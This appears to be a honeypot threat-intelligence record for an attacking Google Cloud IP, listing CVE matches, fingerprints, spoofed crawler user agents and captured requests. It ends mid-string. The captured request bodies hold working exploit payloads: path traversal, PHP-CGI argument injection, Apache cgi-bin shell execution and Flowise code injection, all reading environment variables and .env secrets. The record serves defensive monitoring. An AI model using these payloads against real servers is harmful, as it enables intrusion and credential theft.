{"ip":"34.146.20.153","observed":true,"total_events":402,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"73 exploit-path hits","confidence":"high","network_type":null,"why":["73 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,567,824 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,567,824 bytes sent","bytes_sent":2567824,"session_seconds":27,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T18:20:25","last_seen":"2026-10-14T18:20:54","events_24h":0,"events_7d":402,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"JP","country_name":"Japan","region":"Tokyo","city":"Tokyo","lat":35.6893,"lon":139.6899,"asn":396982,"org":"Google LLC"},"source_domain":"153.20.146.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","kev_date_added":"2022-08-25"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","kev_date_added":"2024-06-12"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","kev_date_added":"2026-03-25"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","kev_date_added":"2025-10-09"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","kev_date_added":null},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","kev_date_added":null},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","kev_date_added":null},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","kev_date_added":null}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":402}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106fb010006f70303cf3a3c5047d7781860b2cd2fc938622b7f52f4daa6e54526eeef9cc638262a2d2090b2f317ef7b9f5aba8b3bd2dad61f42ac414167b6c6c185cc2cdc3625f51d9c00201a1a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100068eeaea0000003304ef04ed6a6a00010011ec04c0cdb3b365db2e71981771811e2713bf8f2057c63aa182c3bb9ea93b31709570b76e588b83131b192e5214066c6538b41062d954d308242350aa68b4c696f3aaa560a4376c6e309a4f1d8473000a2b0010764bd8511a76805de9bbd6075e30f2964191af3d6a5e31f35c53eb962fcc67281a4e10773757b28a0e87c15be5b363e9ad302885bb53a891e19285f2868b173a01967e8f787d67350caa15a339e1a8605282d82612ba49a620024059fb9f5eb867bce43b029490606c4fd54c0f1024594630ae00b8702c8352d456234a81948f4402319c06b6e87123c74bbb630538b5a2ef6c7a28fa91adc570ec4435e2b9b33a510dec4150750ac5c582cf37f98f24f69f003519b4f21da81b57fb598464a32405e4657178143d55cd6cb5c455d16682307d6d3b277f93ab6666aedcc39a218b72e6f02522a609a2803f10d3175e756574aa2a44005ce260523abb20b6d357c657412f85a08ef0bfc408b379d2a0caf9c418336fe607c97d155434b591356348bef5a2f34741984279c6e0395c862fddfc80c0441003121d7b0b2101d9b1f8a95c4b4598862067bdc71b0d51a56372822692407e4abce8da1aff344e8dd104ef9598cea3c13ecb756bca1c8060a587fc15b3771305fb137aa9125545273657279dc9ab31ac6406779113dc774d2c2022b516fbb20e0a6619236192485270c6029186e50c30e9c221f3ab0fa044308124d65b5d2e14377344a8fbc61f271270d82c9dac283af46274ffa5cc2ed3cc0727b49304414ecb2bffc87be2ab5dcbda48ac521c4b143b03f0c3efe315c3380b54102585e55fd01cc266562a291cadc0cc55534754c3fb3db98991603a694d136398223874f674d45a877c6b087049533a303509b4c818e1c708ec94c00779f3c3a531f74801991a8a44a14c138388da87a0d858a97519f7f579e56205cadaa686411d84156bc14b736b0bac67f73303345914918c5db81cdf28476b378afacc09145bc6e570bf5a30a6214836dfdc5e4ab14b733002b089b257e07ba88a5afefaa5af325a8eac135099780e21401ed409384b277e5ab19fe146bcb618931c96d36b95c203ac9610260b03ad7af9cf79e1ccb034b6d18a82c403c9b1cc0bf395150371c736f1cd37d65c51005b924416b5bc6b07f0478c716f048a65f9376d557a808726140d18b16e4757aa27baf9e31c2a382246eba18b849115c73a070b23da782e8697339323232ee349d7657e43297811422fa0023494d33e4533ce094180a8e125b2b0624cb3aff47a87fb3115812813a7ba66473036c9387a9ec9bd13f93331f37636bbbdb1ba3c8f52604e4886ddac6f198028fe6c2ad6c5475327246eb14527ea7f35f0c0981a088dfc262129aa48980c4ac08b579c622b0ba61f784b9839c92cd072b4780aa71100e44c404b296cd6231bceba5bc0e9b34c803f9c9bae93014afec580a3a0a8af81b29764bdcfe3325ad7707aacab61d13ec9c8a3ca214b6c24658ec29e702141870a9e9bc11fb1d451080b71e7066669534cc9104632ab865d8c305bebadd9391932cbad218aa181244f3dc5a85e8996327a4246fa45b591433d7c3935217c39d97f3ad9b47b1a59374161b7492a8404242005b672fd059ce4b3b147fe10374bcb0225c8efa07a9f894ed57f8385903aa55a86660b42354720f9fc0e96379a44ca12114a7d1ab4f3d043f7e072599fb4c1112f7e001d00205440d3192471b18453f1e64a054a50d52c8831d5db0d5f21ddfc06662132bb52ff0100010000000017001500001273697465732e7072696e636875622e636f6d002d00020101000b000201000010000e000c02683208687474702f312e31000500050100000000fe0d00fa0000010001950020e0053f223733183dd83c9e5e0342ed0f98ff60e5d2e4dc126f8a457c3093180700d019e3adb1c07469bedbb0ed551f4aa92380304dadc590c9a8ee041fc88873e02768669f78c730de4ea05e8bab842df374ef3e4bd32ed590d9ceb3169735e063d8165b7f9e5f3ebf687a83f05a63570fd5b92b926928b385fdae261828e279a053f43ec968bd45d4f2ef476b16c4c0cac2ebccc01c4e29979fcf44034bdfb4df1690549f7e7938c51ff34626b12e78f4f17d1d19430cbc2e2c0a654a922d6adac31d59949dc07b037d64d74b750c74d6ca0dfb77209bf3fd12a027bbd98eee8b99cc1e967ce77b177099d03430e09e4fb000120000000a000c000a6a6a11ec001d0017001800170000000d0012001004030804040105030805050108060601002b0007060a0a0304030344cd0005000302683200230000001b0003020002caca0001","tls_ja3":["5927bfec6c36278b1ee2c57708856359","6530b8699a646bdacaf639e194ff8c7e","0b5d46fc3b29d1c1ab970d6f9538b8b4","c2c4d19a07bb43feee6483afb6d200eb","fe2dc0f2aaf978c0e2dd88df291fdb07"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq050_00050812_107c8b82":110,"t13d1516h2_8daaf6152771_d8a2da3f94cd":32,"b11cuq150_10057dde_0ef1dcbb":26,"b11cun162_000c73fe_fe528c8e_xce00d0f1":26,"b11cun062_00040016_84d4cebf_xce00d0f1":26,"b11cuq082_00050816_8184102b_xd0f1e7f3":21},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":110}},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot"],"timeline":[{"date":"2026-10-14","count":402}],"recent_events":[{"timestamp":"2026-10-14T18:20:54","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":64,"duration_ms":27236,"bytes_in":25605,"bytes_out":4992},{"timestamp":"2026-10-14T18:20:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":63,"duration_ms":26864,"bytes_in":25265,"bytes_out":4914},{"timestamp":"2026-10-14T18:20:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":62,"duration_ms":26377,"bytes_in":25006,"bytes_out":4836},{"timestamp":"2026-10-14T18:20:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook/","summary":"","payload_hex":"504f5354202f776562686f6f6b2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":61,"duration_ms":25996,"bytes_in":24739,"bytes_out":4758},{"timestamp":"2026-10-14T18:20:52","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c65786974792d557365722f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c65786974792d75736572290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":60,"duration_ms":25381,"bytes_in":24503,"bytes_out":4680},{"timestamp":"2026-10-14T18:20:52","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":59,"duration_ms":25018,"bytes_in":24187,"bytes_out":4602},{"timestamp":"2026-10-14T18:20:51","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":58,"duration_ms":24603,"bytes_in":23946,"bytes_out":4524},{"timestamp":"2026-10-14T18:20:51","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c6578697479426f742f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c6578697479626f74290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":57,"duration_ms":24111,"bytes_in":23496,"bytes_out":4446},{"timestamp":"2026-10-14T18:20:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":56,"duration_ms":23753,"bytes_in":22998,"bytes_out":4368},{"timestamp":"2026-10-14T18:20:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2042616964757370696465722f322e303b202b687474703a2f2f7777772e62616964752e636f6d2f7365617263682f7370696465722e68746d6c290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","ja3":"0b5d46fc3b29d1c1ab970d6f9538b8b4","session":"28aa34bd-94f9-4d4a-a7df-44a53210a307","seq":55,"duration_ms":23394,"bytes_in":22676,"bytes_out":4290}],"http_methods":[{"method":"GET","count":358},{"method":"POST","count":41},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/form/","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/firebase-credentials.json","count":1,"ports":1},{"path":"/docker-compose.override.yml","count":1,"ports":1},{"path":"/serverless.yaml","count":1,"ports":1},{"path":"/.env.live","count":1,"ports":1},{"path":"/functionRouter","count":1,"ports":1},{"path":"/static//app/.env","count":1,"ports":1},{"path":"/.cargo/credentials.toml","count":1,"ports":1},{"path":"/api/v1/validate/code","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":402}],"top_hosts":[{"value":"sites.princhub.com","count":402}],"top_alpns":[{"value":"h2, http/1.1","count":402}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"CCBot/2.0 (https://commoncrawl.org/faq/)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"],"kev_date_added":"2022-08-25"},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"],"kev_date_added":"2024-06-12"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - 